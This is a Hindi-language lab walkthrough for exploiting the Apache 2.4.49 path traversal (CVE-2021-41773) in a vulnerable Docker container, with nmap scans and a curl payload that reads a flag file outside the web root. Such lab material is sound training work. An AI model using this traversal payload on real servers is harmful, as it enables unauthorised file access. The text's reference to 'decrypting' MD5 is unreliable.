
# Apache 2.4.49 पाथ ट्रैवर्सल (CVE-2021-41773) का शोषण करने के लिए हैंड्स-ऑन लैब Docker, Nmap स्कैनिंग और curl का उपयोग करके फ्लैग प्राप्त करने के लिए Apache 2.4.49 पाथ ट्रैवर्सल (CVE-2021-41773) का शोषण करने वाला हैंड्स-ऑन लैब।
Apache HTTP Server 2.4.49 में पथ सामान्यीकरण (path normalization) में किए गए एक बदलाव में एक दोष पाया गया। एक हमलावर पथ ट्रैवर्सल अटैक (path traversal attack) का उपयोग करके Alias-जैसे निर्देशों द्वारा कॉन्फ़िगर किए गए निर्देशिकाओं के बाहर की फाइलों के लिए URL मैप कर सकता है। यदि इन निर्देशिकाओं के बाहर की फाइलें सामान्य डिफ़ॉल्ट कॉन्फ़िगरेशन "require all denied" द्वारा सुरक्षित नहीं हैं, तो ये अनुरोध सफल हो सकते हैं। यदि इन alias किए गए पथों के लिए CGI स्क्रिप्ट भी सक्षम हैं, तो यह रिमोट कोड एक्ज़ीक्यूशन (remote code execution) की अनुमति दे सकता है। यह समस्या केवल Apache 2.4.49 को प्रभावित करती है, पहले के संस्करणों को नहीं।
Credits intro to: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
इस अभ्यास का उद्देश्य Apache 2.4.49 में मौजूद कमजोरी का शोषण करना है। इसका शोषण करने के लिए पूर्व-कॉन्फ़िगर किए गए फ़ोल्डरों के बाहर की फाइलों को मैप करने और एक प्रकार का रिमोट शेल (remote shell) बनाने के लिए "path traversal attack" का उपयोग करना आवश्यक है।
अभ्यास के लिए, docker hub पर उपलब्ध एक विशेष रूप से कमजोर docker का उपयोग करना सुविधाजनक है:
Link: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

पुल किए गए docker की छवियों को देखने के लिए:
$docker images
Docker को पोर्ट 8080 पर चलाएं:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
यह सत्यापित करने के लिए कि यह वास्तव में चल रहा है:
$docker ps

जैसा कि देखा जा सकता है, वेब सर्वर पूरी तरह से कार्य कर रहा है:

स्कैनिंग चरण (हम होस्ट से अधिक से अधिक जानकारी एकत्र करने का प्रयास करते हैं):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

एन्यूमरेशन चरण (हम स्कैनिंग चरण में मिले पोर्ट्स को एन्यूमरेट करके जानकारी को गहरा करने का प्रयास करते हैं):
$nmap -sV -sC -oA versionScan localhost

हमला करने के लिए, इस कमांड को चलाना और फ्लैग (flag) खोजने का प्रयास करना आवश्यक है (यदि यह रूट में डाला गया है):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

यह सुनिश्चित करने के लिए कि अभ्यास सफल रहा है, और फ्लैग वास्तव में वही है जो मिला है, स्ट्रिंग की तुलना Md5 में इसके डिक्रिप्शन ("HaiTrovatoLaFlag_Apache") से करें। यदि दोनों स्ट्रिंग्स मेल खाती हैं, तो काम हो गया!